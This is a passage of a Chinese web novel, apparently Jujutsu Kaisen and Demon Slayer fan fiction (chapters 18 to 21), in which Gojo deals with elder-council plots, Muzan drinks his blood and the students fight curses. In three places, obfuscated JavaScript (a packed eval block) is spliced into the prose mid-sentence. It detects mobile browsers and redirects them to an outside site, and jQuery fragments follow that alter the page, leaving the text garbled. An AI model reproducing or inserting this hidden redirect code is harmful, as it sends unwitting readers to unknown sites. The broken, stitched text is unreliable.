环绕在四周的屏风之后的光亮逐个熄灭,代表屏风背后之人认同了这个计策,终止了谈话。 “确实,倘若我们连敌人目前的实力一无所知,只会被束手束脚。” 赞同。 “哼,一群人在这吵了半天,最后居然要听加茂家的人给意见。” 赞同。 “虽然我对东京高专的那位咒灵操使有些兴趣,但他毕竟和五条悟走得太近了,将来归顺五条家的可能性很大。 与其为自己培养敌人,不如将幼苗就此扼杀。” 赞同。 “喂喂?你就心甘情愿被加茂家的人牵着鼻子走?” “不,仅代表我个人,他的提议还是很有参考价值的。” 赞同。 “……行行行,你们都赞同了,我还反对个毛线!” 赞同。 加上加茂宪屹,六人全票通过。 18. 第 18 章 一边,五条家利用鬼舞辻无惨和五条悟在武力值上的双重压迫,在御三家集会上,向其余两家展现出具有压制性的实力。 与之相对的,高层那边也在排除五条家的人之后,进行了秘密会议,并做出了判决。 五条家主从集会上退下来,就收到了手底下人的情报————有关于高层排除五条家的人单独开了个小会这件事。 有关权力纵横之术,御三家的老家伙谁都没资格嫌弃谁,所以五条家主在带着鬼舞辻无惨出席集会的那一刻,就意识到,这维持了千年的御三家之间的平衡,已经濒临破灭了。 而后,便是五条家以一己之力对抗禅院家和加茂家的时刻了。 不过,说到底,五条家的所有人都无所谓,只有六眼才是最重要的存在。加上五条家在社会和咒术界内的威望和名声太大,对方也无可能明目张胆针对五条家本身。 既然如此,远离五条家,落单且对高层之间的权术感到厌倦的五条悟,就成了老东西们下手的最好选择。 虽然悟君的实力强劲,但他首先是个人类,他的力量只能用来毁灭,而无法做到拯救。 对付五条悟,当然不一定要对五条悟下手。 他的同学,他的朋友,他的老师,都是高层可以下手的对象。 五条家主理智地分析目前的局势,选择给五条悟打了个电话。 果不其然,铃声响了半分钟,没人接。 五条家主无奈地叹了口气,选择接着打。 大概拨了五六次吧,对面才接上。 “干什么啊—————— 我都说了要是我不接就别打了————————” 五条悟叹了口气,语气十分不爽。 “说吧,什么事。” “少主,有关于您今天吩咐出席会谈之人。” 听家主提起鬼舞辻无惨,五条悟的第一个反应是:“他中途溜啦?” “呃,那倒是没有。” “那还能出什么问题?” 五条家主娓娓道来:“由于您的完全觉醒,和无惨先生的加入,目前御三家仅是维持着明面上的和平,但禅院家和加茂家作为暂时联盟,我们与对方的关系并不平稳,暗潮涌动,只等待一个时机爆发。” 五条悟冷着脸,靠在墙上,声音也是冷冷的。 “你想说,高层那些老头子会对我下手。” 五条家主:“不止。我怀疑,高层会针对您和您在高专的同学,特别是和您同期的夏油先生和家入小姐,以此来作为要挟您的手段。” “呵。”五条悟冷哼一声,“这群老东西,也只会做些下三滥的手段。” “我说怎么任务排期在今天晚上被大调了,还多了很多已经被封存十几二十年的档案,那群烂橘子为了对付老子,真是舍得下血本。” “您的意思是?” “问我?”五条悟无所谓地笑了下,“我提议,不如把那群家伙杀干净算了,一了百了,省的他们再弄出什么幺蛾子来。” “……少主果然还是同往常一样任性。” “嘁。” 五条悟顿了下,目光撇到另外的寝室。 “喂,老头子,我问你。” “少主请讲。” 五条悟一点一点分析到,语气厌烦,但又带着点无奈。 “虽然这么说硝子肯定会生气,但她实际上没有战斗能力,在争斗中也起不了决定性的作用,相当于是高层那些老家伙手里的宝贝。 高层对付她,估计也只是禁足、增加治疗量之类的吧,对她的生命构不成威胁。” “您说得对。” “我呢,又因为确实是很强,这群人虽然很不爽我,但也拿我一点办法都没有。 啊啊啊!既然我都那么强了,怎么就不能把那群家伙全杀了呢!” 五条家主再次面对这番话,没有反驳,只是顺着他说:“五条家会永远站在您这一边。” 五条悟脸上露出相当纠结的表情。 “不过如果我真的这么做了,杰那家伙估计会一边骂骂咧咧一边痛心疾首吧。 况且——————” 五条悟眼眸一转,湛蓝色的眼睛向下偏过去,明晃晃地透出些许同语气十分不符的冷漠。 “杀了他们,还会有一批同样的人上位的吧? 从这个角度来看,杀再多的人也没用吧?” 家主也不知道是真心想劝五条悟,还是撺掇他搞事,在五条悟这句话落下之后,便接着他的疑问回答到:“但若是您能够终结一批禅院家和加茂家的高层,五条家有十足的把握,能取得多数席位,彻底掌握咒术界的话语权。” 也就是说,御三家,五条家,一家独大。 面对这种提议,五条悟反倒是冷哼一声。 “老东西,我记得我说过的吧? 五条家和其余两家在我眼里,没有什么不同。 都是为了自己的利益玩弄权术的烂橘子。 只不过是你们提供优越的条件培养我成长,我的实力达到预期后便作为你们的依仗,仅此而已。 现在是三个家族之间的争斗,那要是等五条家掌握大权,是不是还要分化出好几个派系,又在咒术界重复愚蠢又无聊的戏码?” 家主反驳到:“但五条家绝不会忤逆您。” “得了得了。”哪怕是隔着手机,五条悟也面露嫌弃,像是赶苍蝇一样挥了挥手,“别搁着忤逆来忤逆去的,还玩封建的那一套东西吗。” 五条家主噤声。 “总而言之,我什么都不怕,也没什么东西能让老子害怕。至于其他人……杰的话,我倒是可以跟着,反正他们给老子的任务,老子也不想干。 至于一年级的那两个……我艹,老子今天回高专的时候才听夏油说他们已经去出任务了,不过好像只是个二级咒灵,这两个家伙不至于搞不定,我会中途联系一下他们,等这俩回来再说。” “对了,那个很惨的鬼呢?他现在还搁五条家吗?” “不,他现在……” 还没等五条家主说完,一道幽幽的声音在五条悟身旁响起。 “你是在说我吗?” 五条悟: ! ! ! ! ! 五条悟一个误触把家主的电话挂掉了,随后反手把手机当武器,往鬼舞辻无惨的方向一扔。 不出意外,手机被骨刺稳稳接住。因为巨大的冲击力,骨刺上甚至溢出丝丝被冲击到溃烂的红肉。 “靠,你怎么跟个鬼一样?” 鬼舞辻无惨一脸无语,声音冷冷的,不是那种因为生气而变得冷硬的语气,而是像尸体发出来的声音一样,冷到骨子里。 “我本来就是鬼啊。” 五条悟瞪了他一样,刚想质问来高专找他干嘛,又转而想起,好像确实是自己说的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406404|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等御三家开完会,他可以来找自己索要报酬。 五条悟:我去,这群人开会开这么快的啊?老子还以为这次也要小事分三点,每点再分三小点,每小点各家都出来聊一聊,顺带着每家提出些解决的措施,再相互骂两句夸两句,这么一搞这个会议不就随随便便开个三四天吗? 大意了。 “你的表情并不是很好,我有理由怀疑你并不想履行和我的约定。” 五条悟浅浅炸了个毛。 “怎么可能?老子才不是会毁约的那种人,诺,要喝血,自己喝去。” 鬼舞辻无惨眉毛一挑,虽然不是很懂这家伙又在咋咋呼呼什么东西,但既然人都把手腕送到嘴边了,岂有不下口的道理? 所以鬼舞辻无惨上前两步,冰冷的指尖抓住了五条悟的手腕。然后上半身前倾,把嘴凑了上去。 鬼王的肤色是苍白的,指尖是冰冷的,但呼出的气息却还是热的。五条悟看着近在咫尺的发顶,莫名神游天外。 靠,这家伙发质看着真好,发缝也没有头皮屑什么的…… 这是个很奇怪的感受。 之前两次被吸血,第一次是刚刚和鬼舞辻无惨打完,整个人累的瘫在地上动都不想动,五条悟理都懒得理他。 第二次吸血,对方好像是用利用骨刺伸出细小的尖刺,扎进了手腕处的血管里。那骨刺是蠕动的血红色的,夹杂着血肉的粗细不一的一节,缠在他手上的时候,五条悟光顾着恶心和好奇了。 但现在,时间不算晚,但也不算早。阳光静悄悄地消失在林间,然后整个宿舍楼都被笼罩进了不算黑暗的昏沉之中。 在道路的拐角处,五条悟身子放松地靠在墙上,但是因为他有一米八几的原因,哪怕是放松地靠着,整个人也比还不到一米八的鬼舞辻无惨要高些。 而对方正凑上来,张着嘴,尽管尖牙不算温柔地刺进血管,却比对方粗暴地撕碎猎物要好看的多。 血液一点点流失,似乎还能感觉到液体流淌过皮肤的触感。吸血的过程并不算疼,只是有些密密麻麻的痒,连带着柔软的舌也贴在皮肤上。 五条悟小心翼翼地放轻了呼吸,不由自主地咽了口口水。 ? 草啊,老子在紧张个什么鬼?这吸两口血还能带着让人心跳加速的吗? 不过这也不怪我啊,毕竟这人长的确实有点好看—————— 啊啊啊啊啊对方是人面兽心啊————五条悟你可别被他骗了嗷。 不过这个场景怎么看怎么不对劲啊?怎么那么像一些三流小说里会出现的情节,按照惯例,接下来就该出现什么路人啊,或者是和主角认识的人,来一场尴尬但单方面迫害的戏码了吧? …… 事实证明,尴尬的时候,脑子里不要想太多东西,不然要是想的东西变成真的了,那会更加尴尬。 就像现在,夏油杰守着游戏存档等了五条悟十几分钟了,还疑惑呢这家伙上个厕所要那么久,难道是五条家的继承人肾有问题? 然后夏油杰寻思着自己出来找一找。 一出门,哦豁,睁眼就看见五条悟怀里靠着个男的。 夏油杰:??? ! ! ! 五条悟顿时发出尖锐爆鸣。 “等等 ! 杰—————————— 不要走啊嗷嗷嗷嗷啊,事情不是你看见的那样的嗷————————————” 19. 第 19 章 夏油杰的房门前,两位男子高中生正在进行一些非常幼稚的对抗。 “杰———————————————— 事情真不是你看见的那样的啊啊啊啊啊啊 ! 你不要误会我嗷——————————————————” 两人非常默契地没有用术式,只是单纯凭借本身的力量抗衡,把木质的门抵出一个明显的弧度,摇摇欲坠,仿佛下一秒就要断开。 五条悟上半身彻彻底底靠在门上,一只手掰着门把,另一只推着房门的正中央,一下一下地撞,还又急又惨地大吼大叫,不时地把眼睛凑上去,想看看里面怎么样了。 晃动的脑袋带着白色的发丝一起飘逸,整个人像只竹节虫一样盘踞在门上。 面对此情此景,鬼舞辻无惨难得沉默。 这人的血……喝了真不会变蠢吗? 房门的另一边,夏油杰面目狰狞,上半身斜靠在门上,几乎是用上全身的力量去抵着房门,声音断断续续,咬牙切齿。 “五条悟………… 我现在宣布,收回,你能进我房间的权力。 现在以后都不允许!别想进来——————————” 五条悟:“杰——————————————” 夏油杰:“滚——————————————” 处在一旁的鬼舞辻无惨:…… 鬼舞辻无惨幽幽开口,不管是语气还是语速都和这两人有着截然不同。 “你们……这是在…………逗对方玩吗?” 五条悟大惊失色,一脸“你不要过来啊”的表情,十分任性地闭上眼睛,扭过头。 “这是我们挚友之间的事啦,你个混蛋黑毛不要过来啊—————————— 都怪你啦——————————” 五条悟惨兮兮地喊到:“我和他真没关系,杰你相信我————————” 夏油杰婉拒了,哦不对,是坚定地拒绝了他的辩解。 “我信你个大头鬼啊 ! ! ! ” “我记得他! ! ! 这家伙今天凌晨跑来找我,特么问你在哪? 啊?! 凌晨! 刚过零点! 来高专找你! 还特么为了找你把我吵醒了! ! ! ” 夏油杰控诉着控诉着,又想起这几天失眠,也就昨晚微微有了些困意,结果刚睡没多久就被鬼舞辻无惨和五条悟相继从床上拉起来这件事。顿时悲从心起,愈发坚定了现在的念头。 “谁家好人会凌晨来找你啊? ! ! 一点边界感都没有的家伙!你们都不是什么好东西啊———————— 给我滚出我的房间!” 人与人的悲欢并不相通。 因为五条悟一边听着夏油杰的控诉,一边又想起来自己不过是打了个架,就被莫名其妙打都打不死的奇怪生物缠上,还非得每隔三天给他献一次血,有反转术式也不能这么薅…… 不对啊!老子觉醒反转术式,不是专门为了被他薅羊毛的啊啊啊啊————————— 想着想着,又一路思考到这家伙现在啥也不怕了,还有超高的自愈能力,这怎么搞啊,这没法搞啊。 现在被误会了都没法和杰解释…… 诶,不对,好像可以说? 不行啊啊,鬼知道这个消息散播出去会有多么多么多么震动啊啊啊啊啊,老子才不想加班,不想 ! ! ! 五条悟愈想愈气,顿时怒从心起,一不小心力气大了些。正好,这门也被两人摧残得差不多了,在五条悟最后一次冲撞的时候,房门发出清脆的“咔擦”的一声,正中间带着条大裂缝,完完整整地从门框上脱落下来。 五条悟还怒火中烧着,在反应过来之前就把门抓在手里,顺手就泄愤似的往鬼舞辻无惨的方向丢过去。 夏油杰看着自己空荡荡的方面,面容更加扭曲了,握紧拳头,一副很想干架的样子。 鬼舞辻无惨见到飞来的房门,微微侧身就躲了过去,房门轰的一声砸在宿舍楼的墙面上,又带着墙面往远处飞去。 都闹出这种动静了,还留在宿舍的另一位二年级学生黑着脸,一把拉开宿舍门,刚想出口损两句,就瞅见面前破了个大洞,外头正呼呼往里灌风的墙壁。 家入硝子:哦豁。 不过哪怕是宿舍楼塌了这也…………不对,宿舍楼还是很重要的,教学楼塌了就塌了吧。 哪怕是宿舍楼塌了这件事,也确实像是这俩货能干出来的事情。 就是说…… 家入硝子不耐烦地翻了个白眼,只不过是在视线触及到鬼舞辻无惨的时候收敛了一下。 “我说你们两个混蛋,要干架能不能上操场上去。这是宿舍啊,什么叫宿舍,有人要休息的咯。 再乱来我就向校方举报你们两个,扰乱同学的生存环境。” 五条悟尴尬地想要扶一扶墨镜,临了手指刚碰上鼻梁的时候才发现自己好像没戴墨镜,最后选择笑两声卖萌。 夏油杰更加尴尬地试图理一理刘海,却发现那一缕头发好像越理越乱,最后只能尴尬地咳嗽两声装正经。 家入硝子狠狠“嘁”了一声,露出一个超级嫌弃的表情,然后才返回了房间里。 夏油杰看着自己空荡荡的房门,再一次陷入无语。 五条悟试探性地说到:“我现在可以进了不?” ! 五条悟撇了撇嘴。 “不进就不进嘛,那么凶干嘛。 游戏还打不打了嘛,真是的。” 夏油杰:“婉拒。” “婉拒就婉拒,老子还有别的事情要找你。” 夏油杰:“婉拒。” 五条悟:? “不是,我没开玩笑,是很重要的事情。” 夏油杰:“我不信。” 五条悟:无语。 “你看看自己手机上排的任务列表,是不是变多了,而且难度也更大了。” 虽然嘴上说不相信,但夏油杰还是按照五条悟的话打开手机,然后就被安排的密密麻麻的任务给惊到了。 “摆脱,去年的夏天,任务也没有现在这么恐怖吧?而且多了很多处理特级咒灵的任务……” 五条悟周身的气场似乎冷了下来,但半晌,他还是什么都没说,仍旧是以调笑的语气提议道。 “喂,杰,我的任务列表里可是有很多,超超超超级强的特级咒灵呢………… 要不要跟我一起做任务啊~~~~ 最后的特级咒灵给你处置哦——————” 夏油杰瞬间意识到,五条悟这家伙在拿特级咒灵当幌子,引诱他和对方一起行动。 虽说夏油杰确实挺心动的,但是,“不会吧,你能有这么好心?” 五条悟怒: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406405|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我怎么了?我发发善心不行吗?啊呀,你就说你去不去!” 夏油杰秒同意:“去去去,包去的。” 但还有个问题,就是“不过我这边的任务也排的很满,怎么搞?翘不掉的吧?” “怎么翘不掉?直接鸽了辅助监督不就行了?” 毕竟五条悟之前不想出任务的时候,一般就是把辅助监督一个人晾在那里,然后自己去睡觉的来者。 面对这个十分不靠谱的提议,夏油杰面露嫌弃:“别吧?万一是很紧急,要救命的任务呢?” “哦。”五条悟瞬间蔫儿了,不过,他的目光又落到站在一旁无所事事的鬼舞辻无惨身上。 五条悟:盯。 夏油杰顺着他的目光看过去,也落到鬼舞辻无惨的身上。 夏油杰:盯。 鬼舞辻无惨:“我总觉得你有些不怀好意。” 五条悟一个蹦跶跳到鬼舞辻无惨身边,伸手跟个好哥们儿似的揽住他的肩膀。 “巧了么这不是,我这朋友啥优点也没有,就是够热心,够乐于助人。 想必他必然会愿意出手帮一把。” 鬼舞辻无惨略显疑惑地向五条悟投过去一个眼神。 我,热心?乐于助人? 五条悟回瞪回去,顺带着用眼神示意他,还是和今天一样,用自己的血液做交易。 两人搁着讨价还价的时候,夏油杰以一种很迷惑的表情,看着面前演都不演了的两个人。 “他……愿意?” “愿意!”五条悟抢答,“包愿意的!” 鬼舞辻无惨没什么别的意思,就点了点头。虽然被当成用血就可以驱使了的战力,但也无所谓,杀点咒灵就杀呗。 夏油杰:“他可以吗?” “当然可以!”五条悟化身抢答达人,“这家伙跟我实力差不多,包可以的!” 夏油杰的眼神瞬间严肃起来。 原来还有和现在的悟可以比肩的人,看来确实是我的实力太弱了,一定要专心变强。 虽然不知道为什么现在夏油杰变得斗志汹涌了,但能看着对方就是件好事。 “对了,那两个一年级的呢?” “我不是说了,早就走了,现在估计距离和辅助监督汇合也都过去几个小时了。” 夏油杰有些疑惑地问到:“你提他们干什么?” 五条悟一脸为后辈着想的样子,虽然在现场的其余两个人都不信。 “我想着把他们也一起捎上。” 夏油杰更加迷惑了。 “捎他们干什么?站在外面给你鼓掌吗?” “杰你这就不懂了,长长见识也好啊。” 夏油杰有些明白地点点头,“也还说得过去。” “我说的对吧?” 五条悟掏出自己那不算干净的手机,打开高专群聊,冒了个泡。 【五条悟:两个一年级的小鬼,在不在不?】 七海建人并没有回。 【灰原雄:五条学长!我和七海都在,不过这次任务比较特殊,虽然只是二级咒灵,但是机制比较特殊,我们正在等待可以出手的时机。】 【五条悟:好的好的,非常有上进心!作为回报,等会儿我和你们夏油学长就去找你们。】 【灰原雄:诶?找我们做什么?】 【五条悟:带你们去见识一下特级之间的战斗!】 20. 第 20 章 昏昏沉沉的壁障,笼罩住了整个蓝天,隔绝了光,创造出漆黑的夜。 然后,有什么存在于黑暗中起舞。 哒、哒、哒、 灯光乍现,然后是无尽的炫目。 “多少年了,终于有人再次踏入此, 终于有人能再度得见妾身……” 灯光在欢舞,线条在跳跃,然后扭曲,向下延展,又交织,蜿蜒绵长,如舞动的群青。 “要随我起舞吗? 要随我共赴吗? 要同我欢愉吗?” “我亲爱的客人————————唔啊啊啊啊啊啊啊啊啊 ! ! ! ! ! ” ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! “对对对,老子陪你跳—————” 五条悟屈膝,猛地下压,女人的身体瞬间从中间截断,最中间的腰椎泛着晶莹的白,血肉被取代成了交错的丝线。 跳舞,永远起舞。 那线开始扭动,色彩扭曲,然后光影作祟,成了乱躁的音。 五条悟一把抓住具象化的灯光,绕了两圈,把这光化作的线死死圈在这女人的脖颈上。然后伸手猛的收紧。 于是那光开始扭动,边缘泛着波浪似的线。 “起舞……………………呃啊啊啊啊啊……………………” 女人的脖子开始泛红,从伤口中钻出了无法计数的线,又一圈圈地绕上她的脖颈,捂住她的口鼻,扯住她的眼球。 这颗脑袋连接着的颈椎发出“咔咔咔”的响动,后脑勺贴着脊背翻折,那绕着丝线的眼球开始转动,重新又伸出万根再万根的丝线,像锁定猎物的虫孑,目标准确地向五条悟的六眼飞来,却被无下限毫无疑念地阻挡在外,动弹不得。 意识到奈何不了五条悟后,那线开始后退,这女人开始解体。包裹着细线的皮肉开始翻折,内红外白,红白交错,血管和骨骼交织在一起,手臂的关节被敲断,如玉葱般的细嫩的手带着无孔不入的丝线,隔着无下限,试图去阻挡五条悟的行动。 五条悟手上还抓着脖颈间的细线,用力一扯。 咔擦—— 颈椎断开,那骨也是晶莹的白,那血肉也成了细细密密的线,于是这地上的人型消散,发丝与血肉交织在一起,连通起舞会天花板上的灯,然后墙壁上,灯上,地面上,泛起丝丝的线,如海浪之上的泡沫,密密麻麻。 五条悟的身体浮在半空,眼眸泛起闪光的蓝。 “妈的,藏那么深,还跳舞,还捉迷藏,我陪你玩个毛线啊玩,难怪这任务被封了十几年。” 五条悟抬起右手,手指弯曲。 “虚式·茈。” 绚丽的紫光乍现,彻底湮灭了扭动的线。 于此同时,在另一边。 这个咒灵是个罕见的双重形态的咒灵,并且是一个习得领域展开的特级咒灵。 五条悟和夏油杰在刚一踏入咒灵的领地时,就被拉进了表层的领域之中,被迫和一个浑身漆黑的怪物玩捉迷藏,那怪物打不死还能重新凝聚,五条悟把周遭场地都砸了个遍也没见这领域有半点损坏。 还是夏油杰发现自己莫名其妙和自己控制的咒灵失去了联系,这才发现他们所在的只不过是一个具有隐藏性质的、专门为了保护深层领域而存在的表层领域。 于是两人分工,夏油杰依靠术式的特殊性牵制表层领域的怪物,五条悟靠六眼分析出了深层领域的所在地,深入深层领域去找突破口。 而五条悟把深层领域破坏掉之后,表层领域之中的黑暗也逐渐变淡,那怪物的再生速度也变慢了许多。 夏油杰意识到五条悟那边得手了,于是一个箭步冲上前去,又想起自己被迫和这个不知道是什么东西的存在转圈圈,顿时怒从心头起,直接通过暴力拆卸把这怪物肢解了。 锤爽了后,夏油杰对着所剩无几的怪物发动咒灵操术,把剩下的东西团吧团吧揉成球,然后生怕它复活了一样,扑通一声给扔嘴里了。 “呕——————” 好难吃。 夏油杰翻了个白眼。 随着黑暗的消失,五条悟的身形重新出现在现实世界中,向着夏油杰奔来。 下一秒,夏油杰预判了他的动作,稍稍抬手把人拦在离自己半米外,和喉咙里的异样争斗了半天,最终还是没撑住,眉头一皱,做了个呕吐的动作。 五条悟瞳孔骤缩。 看见对方表情的夏油杰心里咯噔一下。悟不会发现了吧,让他看到自己难堪的地方了,其实咒灵球也不是不可以接受,果然还是怪我…… “杰———————————— 你看见我的脸就想吐吗——————————————” 五条悟半点形象都没有,扶着夏油杰的肩膀嗷呜嗷呜地叫。 夏油杰:笑死,我就知道这家伙的德性。 “杰———————————— 我们之间已经隔着一道可悲的厚壁障了嗷嗷嗷——————” 勿扰,脑袋疼。 夏油杰木着脸,反手往五条悟的脑袋上扣了一拳,手动制止了五条悟想继续嚷嚷的举动。 “给灰原发个信息,看看他们那边结束没。 正好我们离灰原他们做任务的地方也不远了,就十几公里。” 一年级这次负责的任务离高专有相当长的一段距离,两人往这边赶的时候,要是见到正好顺路的任务,就会顺手给他做掉。 这次解决的咒灵也是五条悟的任务之一。 五条悟皱着眉,两只手去翻手机。 “不过这偏僻地方离高专可是相当的远啊,一个二级咒灵也根本不算什么,干嘛不让本地的咒术师去解决,非要让高专的人出马。” “可能是这边的咒术师力量比较薄弱吧。” 虽然专门提起来,这是一个很奇怪的点。因为鬼舞辻无惨作为一个现代人,他没有手机,也不会用手机。 于是一切事情变得麻烦起来。又因为鬼舞辻无惨要完成夏油杰的任务清单,和辅助监督那边对接也很麻烦。 办电话卡需要身份证明,鬼舞辻无惨没有;补办身份证明,又需要至少好几天的时间;去让五条家的人送一部手机过来,但没法做到任务列表的更新,而且辅助监督那里联系夏油杰也只是联系这个号码。 所以五条悟出了个馊主意。 “不如你的手机先借给他做任务?” 夏油杰:? “不是,你这什么馊主意啊?” “怎么了,这不是现在十分高效有用的方法了吗?我俩肯定接下来几天都会搁一块做任务的好伐,你手机给人用下怎么了?” 那一瞬间,夏油杰的脑子里顿时充斥着大量自己的社死画面,顺带着飘荡着五条悟嗓音的画外音。 “哦哦哦哦哦~~~~~~~~ 原来杰每天都在刷这些东西,哇哦呜~~~ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406406|153465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ~~~~~~~” 夏油杰顿时感觉人生一片昏暗,比连续吞了十几个咒灵球还要生不如死。 夏油杰:“恕我拒绝。” 五条悟:“为什么?他看起来就不像是会翻你手机的那种类型吧?” 夏油杰怒:“我防的是你啊!麻烦你对自己有点清晰的认知。” 五条悟:“完蛋了————————杰————————我们感情淡了。” 夏油杰用看傻子的眼神瞥了他一眼。 最终夏油杰成功从五条悟手中,成功地护住了自己的浏览记录,还是选择给鬼舞辻无惨重新配部手机。 ……………… 在五条悟给灰原发完信息的五六分钟之后,对面还没有回过来。 夏油杰凑过来看,眉头一皱。 “会不会是你不靠谱的印象已经深入人心了,人家都懒得理你了。” 五条悟:“我在你眼里就是这样的人吗?” 夏油杰:“不,比这更糟。” 边吐槽着,夏油杰自己也给灰原雄和七海建人都发了条信息,问他们的任务进行到哪里了。 出乎意料的,也是没回。 夏油杰:不对啊,悟就算了,我在一年级之中的风评还算是不错的吧? 两人同时心里一紧,不会是出问题了吧? “搞什么鬼,半个小时之前还联系过呢。” “要打个电话确认一下吗?” 夏油杰思索片刻,选择直接召唤出飞行咒灵。 “万一他们现在是处在战斗的关键时刻呢,这通电话很可能帮倒忙。 反正打电话也好,发信息也好,都只是我们两个求个心安罢了,现在最要紧的事情还是尽快赶到他们那里。” 五条悟点了点头。 “我没带人瞬移过,不清楚会不会出问题。 不过现在情况紧急,我先到现场确认一下状况,杰你之后跟来。” 夏油杰没在意他的话语,表示赞同之后,登上自己的咒灵。 身旁飘起轻微的风,五条悟的身影瞬间消失在原地,又瞬间出现在十几公里外。 天色渐渐暗下来,月光洒下,五条悟的身影停滞在半空之中,俯瞰地面之上的土地庙的废墟。 他的气息有些不稳,先前只尝试过短距离瞬移,这种距离的瞬移还是头一次,看来算是成功。 六眼瞬间将周遭的状况尽收入眼底。 没有咒灵的气息,已经被结束了吗? 最后,五条悟的视线停在一处废墟之下。 两道咒力波动,一个是七海的,比较虚弱。另外一个……比较奇怪。 很混乱的咒力,对方的身体之中,不同状况的血液在不停的撕咬,吞杀,咒力隐隐有陷入弱势的迹象。 五条悟扶了下墨镜,缓缓降落。 手机响了一声,五条悟在走近废墟的过程中,打开手机看了一眼。 是鬼舞辻无惨发来的信息,是一张被拍下来的另一个手机的聊天记录。 【辅助监督:大人,夏油杰不知道去了哪里,但那位无惨阁下找到我,说是代替夏油杰来处理任务。】 【辅助监督:属下认为他们三人早已自成一派。】 【禅院甚一:继续看着他,有什么情况立刻向我汇报。】 【辅助监督:是,大人。】 五条悟合上手机,嗤笑一声,冲废墟里喊到。 “喂,一年级的,躲里面干什么,出来。” 21. 第 21 章 鬼舞辻无惨接受了五条悟的提议,来和夏油杰的辅助监督碰头。 对方是个三十岁上下的男人,梳着一头短发,发蜡没打够,额前的头发丝被风吹的飘动。 鬼舞辻无惨的视线扫过去,把人上上下下扫视了一边。 这人最开始的时候和鬼舞辻无惨对上了视线,然后猛地移开,眼睛也不敢乱瞟了,只是一直盯着地板,像是见了什么洪水猛兽。 并不如他的愿,鬼舞辻无惨慢悠悠地上前,走到他面前,声音冷淡。 “辅助监督?” 男人泄气般地朝他鞠了一躬,声音都有些发抖。 “是,是的,大人,我是和夏游先生对接的……” 鬼舞辻无惨没再理他,朝停在他身后的汽车走去。 “嗯,他的任务由我代做。” “代做……等等!大人,没有这个规定……” 鬼舞辻无惨斜着眸子睨了他一眼。 辅助监督一个激灵,连忙又鞠躬道歉。 “非常对不起!我这就为您带路。” 鬼舞辻无惨没有回答,骨刺伸出,在打开车门之后又老老实实收了回去。 辅助监督呼出一口气,伸手用袖子擦了擦额头那并不存在的冷汗,哆嗦着手指掏出手机,给吩咐自己的禅院家大人作汇报。 等汇报完,辅助监督松了一口气,想着这下虽然没有接到夏油杰,但是禅院家那边应该不会太为难自己,毕竟自己可是直接和这个怪物对上。 辅助监督尽可能控制住自己的恐惧情绪,打开车门上了驾驶座。 “那这位先生,我们现在出发去任务地点。” “稍等。” 鬼舞辻无惨突然出声。 “嗯!怎么了……啊 ! ! ! ” 骨刺猛地绕上辅助监督的脑袋,坚硬的骨刺只是带来些许疼痛,但眼睁睁看着恐怖的怪物向自己攻击而来,这对没有多少战斗经验的辅助监督来说,更多的则是心理意义上的压力。 “大,大人……” 鬼舞辻无惨伸出两根骨刺,一根控制住他的脑袋,硬生生把人的脸掰正。 另一根伸进口袋里,带着对方的手机出来,骨刺的尖端按了下手机的开机键,随后把屏幕面向辅助监督。 随着很轻巧的“叮”的一声,手机成功解锁,最先展露出来的就是方才的聊天记录。 鬼舞辻无惨拿出自己不久前新配的手机,拍了一张照片给五条悟发了过去。 对面没回,鬼舞辻无惨也懒得管,把辅助监督的手机给人抛回去之后,就慢悠悠地把骨刺收回。 辅助监督浑身都被冷汗浸湿了,被吓的心神不宁。 “大人!无惨大人! 我只是给御三家传消息的!我……” “没有要弄死你的意思。” 如果不是他俩之间隔着一个座位,辅助监督感觉自己现在能扑上去抱着人大腿求饶。 “多谢大人!多谢!” 鬼舞辻无惨:“你一开始就是御三家的人?” 虽然鬼舞辻无惨现在没有发难,只是很放松地靠在后座上,但辅助监督不敢赌他是真的心情好,还是现在只是需要他的情报,于是有问有答,差不多把自己知道的都吐出来了。 辅助监督:“是,是的,我是禅院家的旁系。因为自小咒力低微,所以哪怕年过三十也只是个四级咒术师。最后接受家族的统一安排,进入辅助监督体系,为禅院家传递消息。” 鬼舞辻无惨点点头,不是很想管,懒洋洋地点头。 “知道了,先去做任务吧。” 辅助监督不是很确定地问到:“您,真的是来代夏油杰完成任务的吗?” “不像?” “没有!完全没有!是我没有眼见。” 虽然目的不纯,态度过于卑微,但这位辅助监督的专业能力确实没的说,立刻就进入了状态,带着鬼舞辻无惨前往任务地点。 与此同时,在另一边。 五条悟收到鬼舞辻无惨发来的信息,没理他,只是把目光投在了面前的废墟之中。 “喂———————— 一年级的学弟们———————— 